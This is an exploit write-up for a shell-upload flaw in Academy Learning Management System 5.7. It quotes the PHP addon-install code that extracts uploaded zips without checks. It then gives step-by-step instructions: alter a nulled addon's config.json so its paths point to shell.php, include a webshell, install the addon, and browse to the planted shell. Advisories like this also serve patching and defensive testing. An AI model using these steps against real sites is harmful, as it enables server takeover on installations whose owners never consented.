Academy Learning Management System 5.7 Shell Upload

`# Exploit Title: Academy Learning Management System 5.7 Shell Upload  
# Exploit Author: th3d1gger  
# Vendor Homepage: https://codecanyon.net  
# Software Link: https://codecanyon.net/item/academy-course-based-learning-management-system/22703468  
# Version: 5.7  
# Tested on Ubuntu 18.04  
  
Totally wrong architecture for uploading zip files on install addon   
  
---Vulnerable Source Code ---  
$zipped_file_name = $_FILES['addon_zip']['name'];  
  
if (!empty($zipped_file_name)) {  
// Create update directory.  
$dir = 'uploads/addons';  
if (!is_dir($dir))  
mkdir($dir, 0777, true);  
  
$path = "uploads/addons/".$zipped_file_name;  
if (class_exists('ZipArchive')) {  
move_uploaded_file($_FILES['addon_zip']['tmp_name'], $path);  
//Unzip uploaded update file and remove zip file.  
$zip = new ZipArchive;  
$zip->open($path);  
$zip->extractTo('uploads/addons');  
$zip->close();  
unlink($path);  
}else{  
$this->session->set_flashdata('error_message', get_phrase('your_server_is_unable_to_extract_the_zip_file').'. '.get_phrase('please_enable_the_zip_extension_on_your_server').', '.get_phrase('then_try_again'));  
redirect(site_url('admin/addon'), 'refresh');  
}  
  
---Exploit------  
get request route "/admin/addon/add" at admin panel.  
  
And then for example download "certificate addon" nulled version.  
  
in addons config.json file   
add  
"""  
{  
"root_directory" : "uploads/addons/certificate/others/shell.php",  
"update_directory" : "uploads/certificates/shell.php"  
},  
"""  
  
add your webshell to others folder in addon.  
  
click install addon button.  
  
And ta daa !  
->get request https://your-url/uploads/certificates/shell.php  
`